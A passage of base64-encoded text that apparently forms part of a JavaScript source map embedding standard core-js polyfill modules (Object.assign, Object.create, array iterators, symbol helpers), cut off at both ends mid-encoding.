sgQltrXSA9IGs7IH0pO1xuICByZXR1cm4gJGFzc2lnbih7fSwgQSlbU10gIT0gNyB8fCBPYmplY3Qua2V5cygkYXNzaWduKHt9LCBCKSkuam9pbignJykgIT0gSztcbn0pID8gZnVuY3Rpb24gYXNzaWduKHRhcmdldCwgc291cmNlKSB7IC8vIGVzbGludC1kaXNhYmxlLWxpbmUgbm8tdW51c2VkLXZhcnNcbiAgdmFyIFQgPSB0b09iamVjdCh0YXJnZXQpO1xuICB2YXIgYUxlbiA9IGFyZ3VtZW50cy5sZW5ndGg7XG4gIHZhciBpbmRleCA9IDE7XG4gIHZhciBnZXRTeW1ib2xzID0gZ09QUy5mO1xuICB2YXIgaXNFbnVtID0gcElFLmY7XG4gIHdoaWxlIChhTGVuID4gaW5kZXgpIHtcbiAgICB2YXIgUyA9IElPYmplY3QoYXJndW1lbnRzW2luZGV4KytdKTtcbiAgICB2YXIga2V5cyA9IGdldFN5bWJvbHMgPyBnZXRLZXlzKFMpLmNvbmNhdChnZXRTeW1ib2xzKFMpKSA6IGdldEtleXMoUyk7XG4gICAgdmFyIGxlbmd0aCA9IGtleXMubGVuZ3RoO1xuICAgIHZhciBqID0gMDtcbiAgICB2YXIga2V5O1xuICAgIHdoaWxlIChsZW5ndGggPiBqKSB7XG4gICAgICBrZXkgPSBrZXlzW2orK107XG4gICAgICBpZiAoIURFU0NSSVBUT1JTIHx8IGlzRW51bS5jYWxsKFMsIGtleSkpIFRba2V5XSA9IFNba2V5XTtcbiAgICB9XG4gIH0gcmV0dXJuIFQ7XG59IDogJGFzc2lnbjtcbiIsIi8vIDE5LjEuMi4yIC8gMTUuMi4zLjUgT2JqZWN0LmNyZWF0ZShPIFssIFByb3BlcnRpZXNdKVxudmFyIGFuT2JqZWN0ID0gcmVxdWlyZSgnLi9fYW4tb2JqZWN0Jyk7XG52YXIgZFBzID0gcmVxdWlyZSgnLi9fb2JqZWN0LWRwcycpO1xudmFyIGVudW1CdWdLZXlzID0gcmVxdWlyZSgnLi9fZW51bS1idWcta2V5cycpO1xudmFyIElFX1BST1RPID0gcmVxdWlyZSgnLi9fc2hhcmVkLWtleScpKCdJRV9QUk9UTycpO1xudmFyIEVtcHR5ID0gZnVuY3Rpb24gKCkgeyAvKiBlbXB0eSAqLyB9O1xudmFyIFBST1RPVFlQRSA9ICdwcm90b3R5cGUnO1xuXG4vLyBDcmVhdGUgb2JqZWN0IHdpdGggZmFrZSBgbnVsbGAgcHJvdG90eXBlOiB1c2UgaWZyYW1lIE9iamVjdCB3aXRoIGNsZWFyZWQgcHJvdG90eXBlXG52YXIgY3JlYXRlRGljdCA9IGZ1bmN0aW9uICgpIHtcbiAgLy8gVGhyYXNoLCB3YXN0ZSBhbmQgc29kb215OiBJRSBHQyBidWdcbiAgdmFyIGlmcmFtZSA9IHJlcXVpcmUoJy4vX2RvbS1jcmVhdGUnKSgnaWZyYW1lJyk7XG4gIHZhciBpID0gZW51bUJ1Z0tleXMubGVuZ3RoO1xuICB2YXIgbHQgPSAnPCc7XG4gIHZhciBndCA9ICc+JztcbiAgdmFyIGlmcmFtZURvY3VtZW50O1xuICBpZnJhbWUuc3R5bGUuZGlzcGxheSA9ICdub25lJztcbiAgcmVxdWlyZSgnLi9faHRtbCcpLmFwcGVuZENoaWxkKGlmcmFtZSk7XG4gIGlmcmFtZS5zcmMgPSAnamF2YXNjcmlwdDonOyAvLyBlc2xpbnQtZGlzYWJsZS1saW5lIG5vLXNjcmlwdC11cmxcbiAgLy8gY3JlYXRlRGljdCA9IGlmcmFtZS5jb250ZW50V2luZG93Lk9iamVjdDtcbiAgLy8gaHRtbC5yZW1vdmVDaGlsZChpZnJhbWUpO1xuICBpZnJhbWVEb2N1bWVudCA9IGlmcmFtZS5jb250ZW50V2luZG93LmRvY3VtZW50O1xuICBpZnJhbWVEb2N1bWVudC5vcGVuKCk7XG4gIGlmcmFtZURvY3VtZW50LndyaXRlKGx0ICsgJ3NjcmlwdCcgKyBndCArICdkb2N1bWVudC5GPU9iamVjdCcgKyBsdCArICcvc2NyaXB0JyArIGd0KTtcbiAgaWZyYW1lRG9jdW1lbnQuY2xvc2UoKTtcbiAgY3JlYXRlRGljdCA9IGlmcmFtZURvY3VtZW50LkY7XG4gIHdoaWxlIChpLS0pIGRlbGV0ZSBjcmVhdGVEaWN0W1BST1RPVFlQRV1bZW51bUJ1Z0tleXNbaV1dO1xuICByZXR1cm4gY3JlYXRlRGljdCgpO1xufTtcblxubW9kdWxlLmV4cG9ydHMgPSBPYmplY3QuY3JlYXRlIHx8IGZ1bmN0aW9uIGNyZWF0ZShPLCBQcm9wZXJ0aWVzKSB7XG4gIHZhciByZXN1bHQ7XG4gIGlmIChPICE9PSBudWxsKSB7XG4gICAgRW1wdHlbUFJPVE9UWVBFXSA9IGFuT2JqZWN0KE8pO1xuICAgIHJlc3VsdCA9IG5ldyBFbXB0eSgpO1xuICAgIEVtcHR5W1BST1RPVFlQRV0gPSBudWxsO1xuICAgIC8vIGFkZCBcIl9fcHJvdG9fX1wiIGZvciBPYmplY3QuZ2V0UHJvdG90eXBlT2YgcG9seWZpbGxcbiAgICByZXN1bHRbSUVfUFJPVE9dID0gTztcbiAgfSBlbHNlIHJlc3VsdCA9IGNyZWF0ZURpY3QoKTtcbiAgcmV0dXJuIFByb3BlcnRpZXMgPT09IHVuZGVmaW5lZCA/IHJlc3VsdCA6IGRQcyhyZXN1bHQsIFByb3BlcnRpZXMpO1xufTtcbiIsInZhciBhbk9iamVjdCA9IHJlcXVpcmUoJy4vX2FuLW9iamVjdCcpO1xudmFyIElFOF9ET01fREVGSU5FID0gcmVxdWlyZSgnLi9faWU4LWRvbS1kZWZpbmUnKTtcbnZhciB0b1ByaW1pdGl2ZSA9IHJlcXVpcmUoJy4vX3RvLXByaW1pdGl2ZScpO1xudmFyIGRQID0gT2JqZWN0LmRlZmluZVByb3BlcnR5O1xuXG5leHBvcnRzLmYgPSByZXF1aXJlKCcuL19kZXNjcmlwdG9ycycpID8gT2JqZWN0LmRlZmluZVByb3BlcnR5IDogZnVuY3Rpb24gZGVmaW5lUHJvcGVydHkoTywgUCwgQXR0cmlidXRlcykge1xuICBhbk9iamVjdChPKTtcbiAgUCA9IHRvUHJpbWl0aXZlKFAsIHRydWUpO1xuICBhbk9iamVjdChBdHRyaWJ1dGVzKTtcbiAgaWYgKElFOF9ET01fREVGSU5FKSB0cnkge1xuICAgIHJldHVybiBkUChPLCBQLCBBdHRyaWJ1dGVzKTtcbiAgfSBjYXRjaCAoZSkgeyAvKiBlbXB0eSAqLyB9XG4gIGlmICgnZ2V0JyBpbiBBdHRyaWJ1dGVzIHx8ICdzZXQnIGluIEF0dHJpYnV0ZXMpIHRocm93IFR5cGVFcnJvcignQWNjZXNzb3JzIG5vdCBzdXBwb3J0ZWQhJyk7XG4gIGlmICgndmFsdWUnIGluIEF0dHJpYnV0ZXMpIE9bUF0gPSBBdHRyaWJ1dGVzLnZhbHVlO1xuICByZXR1cm4gTztcbn07XG4iLCJ2YXIgZFAgPSByZXF1aXJlKCcuL19vYmplY3QtZHAnKTtcbnZhciBhbk9iamVjdCA9IHJlcXVpcmUoJy4vX2FuLW9iamVjdCcpO1xudmFyIGdldEtleXMgPSByZXF1aXJlKCcuL19vYmplY3Qta2V5cycpO1xuXG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4vX2Rlc2NyaXB0b3JzJykgPyBPYmplY3QuZGVmaW5lUHJvcGVydGllcyA6IGZ1bmN0aW9uIGRlZmluZVByb3BlcnRpZXMoTywgUHJvcGVydGllcykge1xuICBhbk9iamVjdChPKTtcbiAgdmFyIGtleXMgPSBnZXRLZXlzKFByb3BlcnRpZXMpO1xuICB2YXIgbGVuZ3RoID0ga2V5cy5sZW5ndGg7XG4gIHZhciBpID0gMDtcbiAgdmFyIFA7XG4gIHdoaWxlIChsZW5ndGggPiBpKSBkUC5mKE8sIFAgPSBrZXlzW2krK10sIFByb3BlcnRpZXNbUF0pO1xuICByZXR1cm4gTztcbn07XG4iLCJleHBvcnRzLmYgPSBPYmplY3QuZ2V0T3duUHJvcGVydHlTeW1ib2xzO1xuIiwiLy8gMTkuMS4yLjkgLyAxNS4yLjMuMiBPYmplY3QuZ2V0UHJvdG90eXBlT2YoTylcbnZhciBoYXMgPSByZXF1aXJlKCcuL19oYXMnKTtcbnZhciB0b09iamVjdCA9IHJlcXVpcmUoJy4vX3RvLW9iamVjdCcpO1xudmFyIElFX1BST1RPID0gcmVxdWlyZSgnLi9fc2hhcmVkLWtleScpKCdJRV9QUk9UTycpO1xudmFyIE9iamVjdFByb3RvID0gT2JqZWN0LnByb3RvdHlwZTtcblxubW9kdWxlLmV4cG9ydHMgPSBPYmplY3QuZ2V0UHJvdG90eXBlT2YgfHwgZnVuY3Rpb24gKE8pIHtcbiAgTyA9IHRvT2JqZWN0KE8pO1xuICBpZiAoaGFzKE8sIElFX1BST1RPKSkgcmV0dXJuIE9bSUVfUFJPVE9dO1xuICBpZiAodHlwZW9mIE8uY29uc3RydWN0b3IgPT0gJ2Z1bmN0aW9uJyAmJiBPIGluc3RhbmNlb2YgTy5jb25zdHJ1Y3Rvcikge1xuICAgIHJldHVybiBPLmNvbnN0cnVjdG9yLnByb3RvdHlwZTtcbiAgfSByZXR1cm4gTyBpbnN0YW5jZW9mIE9iamVjdCA/IE9iamVjdFByb3RvIDogbnVsbDtcbn07XG4iLCJ2YXIgaGFzID0gcmVxdWlyZSgnLi9faGFzJyk7XG52YXIgdG9JT2JqZWN0ID0gcmVxdWlyZSgnLi9fdG8taW9iamVjdCcpO1xudmFyIGFycmF5SW5kZXhPZiA9IHJlcXVpcmUoJy4vX2FycmF5LWluY2x1ZGVzJykoZmFsc2UpO1xudmFyIElFX1BST1RPID0gcmVxdWlyZSgnLi9fc2hhcmVkLWtleScpKCdJRV9QUk9UTycpO1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChvYmplY3QsIG5hbWVzKSB7XG4gIHZhciBPID0gdG9JT2JqZWN0KG9iamVjdCk7XG4gIHZhciBpID0gMDtcbiAgdmFyIHJlc3VsdCA9IFtdO1xuICB2YXIga2V5O1xuICBmb3IgKGtleSBpbiBPKSBpZiAoa2V5ICE9IElFX1BST1RPKSBoYXMoTywga2V5KSAmJiByZXN1bHQucHVzaChrZXkpO1xuICAvLyBEb24ndCBlbnVtIGJ1ZyAmIGhpZGRlbiBrZXlzXG4gIHdoaWxlIChuYW1lcy5sZW5ndGggPiBpKSBpZiAoaGFzKE8sIGtleSA9IG5hbWVzW2krK10pKSB7XG4gICAgfmFycmF5SW5kZXhPZihyZXN1bHQsIGtleSkgfHwgcmVzdWx0LnB1c2goa2V5KTtcbiAgfVxuICByZXR1cm4gcmVzdWx0O1xufTtcbiIsIi8vIDE5LjEuMi4xNCAvIDE1LjIuMy4xNCBPYmplY3Qua2V5cyhPKVxudmFyICRrZXlzID0gcmVxdWlyZSgnLi9fb2JqZWN0LWtleXMtaW50ZXJuYWwnKTtcbnZhciBlbnVtQnVnS2V5cyA9IHJlcXVpcmUoJy4vX2VudW0tYnVnLWtleXMnKTtcblxubW9kdWxlLmV4cG9ydHMgPSBPYmplY3Qua2V5cyB8fCBmdW5jdGlvbiBrZXlzKE8pIHtcbiAgcmV0dXJuICRrZXlzKE8sIGVudW1CdWdLZXlzKTtcbn07XG4iLCJleHBvcnRzLmYgPSB7fS5wcm9wZXJ0eUlzRW51bWVyYWJsZTtcbiIsIi8vIG1vc3QgT2JqZWN0IG1ldGhvZHMgYnkgRVM2IHNob3VsZCBhY2NlcHQgcHJpbWl0aXZlc1xudmFyICRleHBvcnQgPSByZXF1aXJlKCcuL19leHBvcnQnKTtcbnZhciBjb3JlID0gcmVxdWlyZSgnLi9fY29yZScpO1xudmFyIGZhaWxzID0gcmVxdWlyZSgnLi9fZmFpbHMnKTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKEtFWSwgZXhlYykge1xuICB2YXIgZm4gPSAoY29yZS5PYmplY3QgfHwge30pW0tFWV0gfHwgT2JqZWN0W0tFWV07XG4gIHZhciBleHAgPSB7fTtcbiAgZXhwW0tFWV0gPSBleGVjKGZuKTtcbiAgJGV4cG9ydCgkZXhwb3J0LlMgKyAkZXhwb3J0LkYgKiBmYWlscyhmdW5jdGlvbiAoKSB7IGZuKDEpOyB9KSwgJ09iamVjdCcsIGV4cCk7XG59O1xuIiwidmFyIERFU0NSSVBUT1JTID0gcmVxdWlyZSgnLi9fZGVzY3JpcHRvcnMnKTtcbnZhciBnZXRLZXlzID0gcmVxdWlyZSgnLi9fb2JqZWN0LWtleXMnKTtcbnZhciB0b0lPYmplY3QgPSByZXF1aXJlKCcuL190by1pb2JqZWN0Jyk7XG52YXIgaXNFbnVtID0gcmVxdWlyZSgnLi9fb2JqZWN0LXBpZScpLmY7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpc0VudHJpZXMpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uIChpdCkge1xuICAgIHZhciBPID0gdG9JT2JqZWN0KGl0KTtcbiAgICB2YXIga2V5cyA9IGdldEtleXMoTyk7XG4gICAgdmFyIGxlbmd0aCA9IGtleXMubGVuZ3RoO1xuICAgIHZhciBpID0gMDtcbiAgICB2YXIgcmVzdWx0ID0gW107XG4gICAgdmFyIGtleTtcbiAgICB3aGlsZSAobGVuZ3RoID4gaSkge1xuICAgICAga2V5ID0ga2V5c1tpKytdO1xuICAgICAgaWYgKCFERVNDUklQVE9SUyB8fCBpc0VudW0uY2FsbChPLCBrZXkpKSB7XG4gICAgICAgIHJlc3VsdC5wdXNoKGlzRW50cmllcyA/IFtrZXksIE9ba2V5XV0gOiBPW2tleV0pO1xuICAgICAgfVxuICAgIH1cbiAgICByZXR1cm4gcmVzdWx0O1xuICB9O1xufTtcbiIsIm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGJpdG1hcCwgdmFsdWUpIHtcbiAgcmV0dXJuIHtcbiAgICBlbnVtZXJhYmxlOiAhKGJpdG1hcCAmIDEpLFxuICAgIGNvbmZpZ3VyYWJsZTogIShiaXRtYXAgJiAyKSxcbiAgICB3cml0YWJsZTogIShiaXRtYXAgJiA0KSxcbiAgICB2YWx1ZTogdmFsdWVcbiAgfTtcbn07XG4iLCJtb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4vX2hpZGUnKTtcbiIsInZhciBkZWYgPSByZXF1aXJlKCcuL19vYmplY3QtZHAnKS5mO1xudmFyIGhhcyA9IHJlcXVpcmUoJy4vX2hhcycpO1xudmFyIFRBRyA9IHJlcXVpcmUoJy4vX3drcycpKCd0b1N0cmluZ1RhZycpO1xuXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCwgdGFnLCBzdGF0KSB7XG4gIGlmIChpdCAmJiAhaGFzKGl0ID0gc3RhdCA/IGl0IDogaXQucHJvdG90eXBlLCBUQUcpKSBkZWYoaXQsIFRBRywgeyBjb25maWd1cmFibGU6IHRydWUsIHZhbHVlOiB0YWcgfSk7XG59O1xuIiwidmFyIHNoYXJlZCA9IHJlcXVpcmUoJy4vX3NoYXJlZCcpKCdrZXlzJyk7XG52YXIgdWlkID0gcmVxdWlyZSgnLi9fdWlkJyk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChrZXkpIHtcbiAgcmV0dXJuIHNoYXJlZFtrZXldIHx8IChzaGFyZWRba2V5XSA9IHVpZChrZXkpKTtcbn07XG4iLCJ2YXIgY29yZSA9IHJlcXVpcmUoJy4vX2NvcmUnKTtcbnZhciBnbG9iYWwgPSByZXF1aXJlKCcuL19nbG9iYWwnKTtcbnZhciBTSEFSRUQgPSAnX19jb3JlLWpzX3NoYXJlZF9fJztcbnZhciBzdG9yZSA9IGdsb2JhbFtTSEFSRURdIHx8IChnbG9iYWxbU0hBUkVEXSA9IHt9KTtcblxuKG1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGtleSwgdmFsdWUpIHtcbiAgcmV0dXJuIHN0b3JlW2tleV0gfHwgKHN0b3JlW2tleV0gPSB2YWx1ZSAhPT0gdW5kZWZpbmVkID8gdmFsdWUgOiB7fSk7XG59KSgndmVyc2lvbnMnLCBbXSkucHVzaCh7XG4gIHZlcnNpb246IGNvcmUudmVyc2lvbixcbiAgbW9kZTogcmVxdWlyZSgnLi9fbGlicmFyeScpID8gJ3B1cmUnIDogJ2dsb2JhbCcsXG4gIGNvcHlyaWdodDogJ8KpIDIwMTkgRGVuaXMgUHVzaGthcmV2ICh6bG9pcm9jay5ydSknXG59KTtcbiIsInZhciB0b0ludGVnZXIgPSByZXF1aXJlKCcuL190by1pbnRlZ2VyJyk7XG52YXIgZGVmaW5lZCA9IHJlcXVpcmUoJy4vX2RlZmluZWQnKTtcbi8vIHRydWUgIC0+IFN0cmluZyNhdFxuLy8gZmFsc2UgLT4gU3RyaW5nI2NvZGVQb2ludEF0XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChUT19TVFJJTkcpIHtcbiAgcmV0dXJuIGZ1bmN0aW9uICh0aGF0LCBwb3MpIHtcbiAgICB2YXIgcyA9IFN0cmluZyhkZWZpbmVkKHRoYXQpKTtcbiAgICB2YXIgaSA9IHRvSW50ZWdlcihwb3MpO1xuICAgIHZhciBsID0gcy5sZW5ndGg7XG4gICAgdmFyIGEsIGI7XG4gICAgaWYgKGkgPCAwIHx8IGkgPj0gbCkgcmV0dXJuIFRPX1NUUklORyA/ICcnIDogdW5kZWZpbmVkO1xuICAgIGEgPSBzLmNoYXJDb2RlQXQoaSk7XG4gICAgcmV0dXJuIGEgPCAweGQ4MDAgfHwgYSA+IDB4ZGJmZiB8fCBpICsgMSA9PT0gbCB8fCAoYiA9IHMuY2hhckNvZGVBdChpICsgMSkpIDwgMHhkYzAwIHx8IGIgPiAweGRmZmZcbiAgICAgID8gVE9fU1RSSU5HID8gcy5jaGFyQXQoaSkgOiBhXG4gICAgICA6IFRPX1NUUklORyA/IHMuc2xpY2UoaSwgaSArIDIpIDogKGEgLSAweGQ4MDAgPDwgMTApICsgKGIgLSAweGRjMDApICsgMHgxMDAwMDtcbiAgfTtcbn07XG4iLCJ2YXIgdG9JbnRlZ2VyID0gcmVxdWlyZSgnLi9fdG8taW50ZWdlcicpO1xudmFyIG1heCA9IE1hdGgubWF4O1xudmFyIG1pbiA9IE1hdGgubWluO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaW5kZXgsIGxlbmd0aCkge1xuICBpbmRleCA9IHRvSW50ZWdlcihpbmRleCk7XG4gIHJldHVybiBpbmRleCA8IDAgPyBtYXgoaW5kZXggKyBsZW5ndGgsIDApIDogbWluKGluZGV4LCBsZW5ndGgpO1xufTtcbiIsIi8vIDcuMS40IFRvSW50ZWdlclxudmFyIGNlaWwgPSBNYXRoLmNlaWw7XG52YXIgZmxvb3IgPSBNYXRoLmZsb29yO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIGlzTmFOKGl0ID0gK2l0KSA/IDAgOiAoaXQgPiAwID8gZmxvb3IgOiBjZWlsKShpdCk7XG59O1xuIiwiLy8gdG8gaW5kZXhlZCBvYmplY3QsIHRvT2JqZWN0IHdpdGggZmFsbGJhY2sgZm9yIG5vbi1hcnJheS1saWtlIEVTMyBzdHJpbmdzXG52YXIgSU9iamVjdCA9IHJlcXVpcmUoJy4vX2lvYmplY3QnKTtcbnZhciBkZWZpbmVkID0gcmVxdWlyZSgnLi9fZGVmaW5lZCcpO1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoaXQpIHtcbiAgcmV0dXJuIElPYmplY3QoZGVmaW5lZChpdCkpO1xufTtcbiIsIi8vIDcuMS4xNSBUb0xlbmd0aFxudmFyIHRvSW50ZWdlciA9IHJlcXVpcmUoJy4vX3RvLWludGVnZXInKTtcbnZhciBtaW4gPSBNYXRoLm1pbjtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGl0KSB7XG4gIHJldHVybiBpdCA+IDAgPyBtaW4odG9JbnRlZ2VyKGl0KSwgMHgxZmZmZmZmZmZmZmZmZikgOiAwOyAvLyBwb3coMiwgNTMpIC0gMSA9PSA5MDA3MTk5MjU0NzQwOTkxXG59O1xuIiwiLy8gNy4xLjEzIFRvT2JqZWN0KGFyZ3VtZW50KVxudmFyIGRlZmluZWQgPSByZXF1aXJlKCcuL19kZWZpbmVkJyk7XG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCkge1xuICByZXR1cm4gT2JqZWN0KGRlZmluZWQoaXQpKTtcbn07XG4iLCIvLyA3LjEuMSBUb1ByaW1pdGl2ZShpbnB1dCBbLCBQcmVmZXJyZWRUeXBlXSlcbnZhciBpc09iamVjdCA9IHJlcXVpcmUoJy4vX2lzLW9iamVjdCcpO1xuLy8gaW5zdGVhZCBvZiB0aGUgRVM2IHNwZWMgdmVyc2lvbiwgd2UgZGlkbid0IGltcGxlbWVudCBAQHRvUHJpbWl0aXZlIGNhc2Vcbi8vIGFuZCB0aGUgc2Vjb25kIGFyZ3VtZW50IC0gZmxhZyAtIHByZWZlcnJlZCB0eXBlIGlzIGEgc3RyaW5nXG5tb2R1bGUuZXhwb3J0cyA9IGZ1bmN0aW9uIChpdCwgUykge1xuICBpZiAoIWlzT2JqZWN0KGl0KSkgcmV0dXJuIGl0O1xuICB2YXIgZm4sIHZhbDtcbiAgaWYgKFMgJiYgdHlwZW9mIChmbiA9IGl0LnRvU3RyaW5nKSA9PSAnZnVuY3Rpb24nICYmICFpc09iamVjdCh2YWwgPSBmbi5jYWxsKGl0KSkpIHJldHVybiB2YWw7XG4gIGlmICh0eXBlb2YgKGZuID0gaXQudmFsdWVPZikgPT0gJ2Z1bmN0aW9uJyAmJiAhaXNPYmplY3QodmFsID0gZm4uY2FsbChpdCkpKSByZXR1cm4gdmFsO1xuICBpZiAoIVMgJiYgdHlwZW9mIChmbiA9IGl0LnRvU3RyaW5nKSA9PSAnZnVuY3Rpb24nICYmICFpc09iamVjdCh2YWwgPSBmbi5jYWxsKGl0KSkpIHJldHVybiB2YWw7XG4gIHRocm93IFR5cGVFcnJvcihcIkNhbid0IGNvbnZlcnQgb2JqZWN0IHRvIHByaW1pdGl2ZSB2YWx1ZVwiKTtcbn07XG4iLCJ2YXIgaWQgPSAwO1xudmFyIHB4ID0gTWF0aC5yYW5kb20oKTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gKGtleSkge1xuICByZXR1cm4gJ1N5bWJvbCgnLmNvbmNhdChrZXkgPT09IHVuZGVmaW5lZCA/ICcnIDoga2V5LCAnKV8nLCAoKytpZCArIHB4KS50b1N0cmluZygzNikpO1xufTtcbiIsInZhciBzdG9yZSA9IHJlcXVpcmUoJy4vX3NoYXJlZCcpKCd3a3MnKTtcbnZhciB1aWQgPSByZXF1aXJlKCcuL191aWQnKTtcbnZhciBTeW1ib2wgPSByZXF1aXJlKCcuL19nbG9iYWwnKS5TeW1ib2w7XG52YXIgVVNFX1NZTUJPTCA9IHR5cGVvZiBTeW1ib2wgPT0gJ2Z1bmN0aW9uJztcblxudmFyICRleHBvcnRzID0gbW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAobmFtZSkge1xuICByZXR1cm4gc3RvcmVbbmFtZV0gfHwgKHN0b3JlW25hbWVdID1cbiAgICBVU0VfU1lNQk9MICYmIFN5bWJvbFtuYW1lXSB8fCAoVVNFX1NZTUJPTCA/IFN5bWJvbCA6IHVpZCkoJ1N5bWJvbC4nICsgbmFtZSkpO1xufTtcblxuJGV4cG9ydHMuc3RvcmUgPSBzdG9yZTtcbiIsInZhciBjbGFzc29mID0gcmVxdWlyZSgnLi9fY2xhc3NvZicpO1xudmFyIElURVJBVE9SID0gcmVxdWlyZSgnLi9fd2tzJykoJ2l0ZXJhdG9yJyk7XG52YXIgSXRlcmF0b3JzID0gcmVxdWlyZSgnLi9faXRlcmF0b3JzJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4vX2NvcmUnKS5nZXRJdGVyYXRvck1ldGhvZCA9IGZ1bmN0aW9uIChpdCkge1xuICBpZiAoaXQgIT0gdW5kZWZpbmVkKSByZXR1cm4gaXRbSVRFUkFUT1JdXG4gICAgfHwgaXRbJ0BAaXRlcmF0b3InXVxuICAgIHx8IEl0ZXJhdG9yc1tjbGFzc29mKGl0KV07XG59O1xuIiwidmFyIGFuT2JqZWN0ID0gcmVxdWlyZSgnLi9fYW4tb2JqZWN0Jyk7XG52YXIgZ2V0ID0gcmVxdWlyZSgnLi9jb3JlLmdldC1pdGVyYXRvci1tZXRob2QnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9fY29yZScpLmdldEl0ZXJhdG9yID0gZnVuY3Rpb24gKGl0KSB7XG4gIHZhciBpdGVyRm4gPSBnZXQoaXQpO1xuICBpZiAodHlwZW9mIGl0ZXJGbiAhPSAnZnVuY3Rpb24nKSB0aHJvdyBUeXBlRXJyb3IoaXQgKyAnIGlzIG5vdCBpdGVyYWJsZSEnKTtcbiAgcmV0dXJuIGFuT2JqZWN0KGl0ZXJGbi5jYWxsKGl0KSk7XG59O1xuIiwidmFyIGNsYXNzb2YgPSByZXF1aXJlKCcuL19jbGFzc29mJyk7XG52YXIgSVRFUkFUT1IgPSByZXF1aXJlKCcuL193a3MnKSgnaXRlcmF0b3InKTtcbnZhciBJdGVyYXRvcnMgPSByZXF1aXJlKCcuL19pdGVyYXRvcnMnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9fY29yZScpLmlzSXRlcmFibGUgPSBmdW5jdGlvbiAoaXQpIHtcbiAgdmFyIE8gPSBPYmplY3QoaXQpO1xuICByZXR1cm4gT1tJVEVSQVRPUl0gIT09IHVuZGVmaW5lZFxuICAgIHx8ICdAQGl0ZXJhdG9yJyBpbiBPXG4gICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXByb3RvdHlwZS1idWlsdGluc1xuICAgIHx8IEl0ZXJhdG9ycy5oYXNPd25Qcm9wZXJ0eShjbGFzc29mKE8pKTtcbn07XG4iLCIndXNlIHN0cmljdCc7XG52YXIgYWRkVG9VbnNjb3BhYmxlcyA9IHJlcXVpcmUoJy4vX2FkZC10by11bnNjb3BhYmxlcycpO1xudmFyIHN0ZXAgPSByZXF1aXJlKCcuL19pdGVyLXN0ZXAnKTtcbnZhciBJdGVyYXRvcnMgPSByZXF1aXJlKCcuL19pdGVyYXRvcnMnKTtcbnZhciB0b0lPYmplY3QgPSByZXF1aXJlKCcuL190by1pb2JqZWN0Jyk7XG5cbi8vIDIyLjEuMy40IEFycmF5LnByb3RvdHlwZS5lbnRyaWVzKClcbi8vIDIyLjEuMy4xMyBBcnJheS5wcm90b3R5cGUua2V5cygpXG4vLyAyMi4xLjMuMjkgQXJyYXkucHJvdG90eXBlLnZhbHVlcygpXG4vLyAyMi4xLjMuMzAgQXJyYXkucHJvdG90eXBlW0BAaXRlcmF0b3JdKClcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi9faXRlci1kZWZpbmUnKShBcnJheSwgJ0FycmF5JywgZnVuY3Rpb24gKGl0ZXJhdGVkLCBraW5kKSB7XG4gIHRoaXMuX3QgPSB0b0lPYmplY3QoaXRlcmF0ZWQpOyAvLyB0YXJnZXRcbiAgdGhpcy5faSA9IDA7ICAgICAgICAgICAgICAgICAgIC8vIG5leHQgaW5kZXhcbiAgdGhpcy5fayA9IGtpbmQ7ICAgICAgICAgICAgICAgIC8vIGtpbmRcbi8vIDIyLjEuNS4yLjEgJUFycmF5SXRlcmF0b3JQcm90b3R5cGUlLm5leHQoKVxufSwgZnVuY3Rpb24gKCkge1xuICB2YXIgTyA9IHRoaXMuX3Q7XG4gIHZhciBraW5kID0gdGhpcy5faztcbiAgdmFyIGluZGV4ID0gdGhpcy5faSsrO1xuICBpZiAoIU8gfHwgaW5kZXggPj0gTy5sZW5ndGgpIHtcbiAgICB0aGlzLl90ID0gdW5kZWZpbmVkO1xuICAgIHJldHVybiBzdGVwKDEpO1xuICB9XG4gIGlmIChraW5kID09ICdrZXlzJykgcmV0dXJuIHN0ZXAoMCwgaW5kZXgpO1xuICBpZiAoa2luZCA9PSAndmFsdWVzJykgcmV0dXJuIHN0ZXAoMCwgT1tpbmRleF0pO1xuICByZXR1cm4gc3RlcCgwLCBbaW5kZXgsIE9baW5kZXhdXSk7XG59LCAndmFsdWVzJyk7XG5cbi8vIGFyZ3VtZW50c0xpc3RbQEBpdGVyYXRvcl0gaXMgJUFycmF5UHJvdG9fdmFsdWVzJSAoOS40LjQuNiwgOS40LjQuNylcbkl0ZXJhdG9ycy5Bcmd1bWVudHMgPSBJdGVyYXRvcnMuQXJyYXk7XG5cbmFkZFRvVW5zY29wYWJsZXMoJ2tleXMnKTtcbmFkZFRvVW5zY29wYWJsZXMoJ3ZhbHVlcycpO1xuYWRkVG9VbnNjb3BhYmxlcygnZW50cmllcycpO1xuIiwiLy8gMjAuMS4yLjQgTnVtYmVyLmlzTmFOKG51bWJlcilcbnZhciAkZXhwb3J0ID0gcmVxdWlyZSgnLi9fZXhwb3J0Jyk7XG5cbiRleHBvcnQoJGV4cG9ydC5TLCAnTnVtYmVyJywge1xuICBpc05hTjogZnVuY3Rpb24gaXNOYU4obnVtYmVyKSB7XG4gICAgLy8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXNlbGYtY29tcGFyZVxuICAg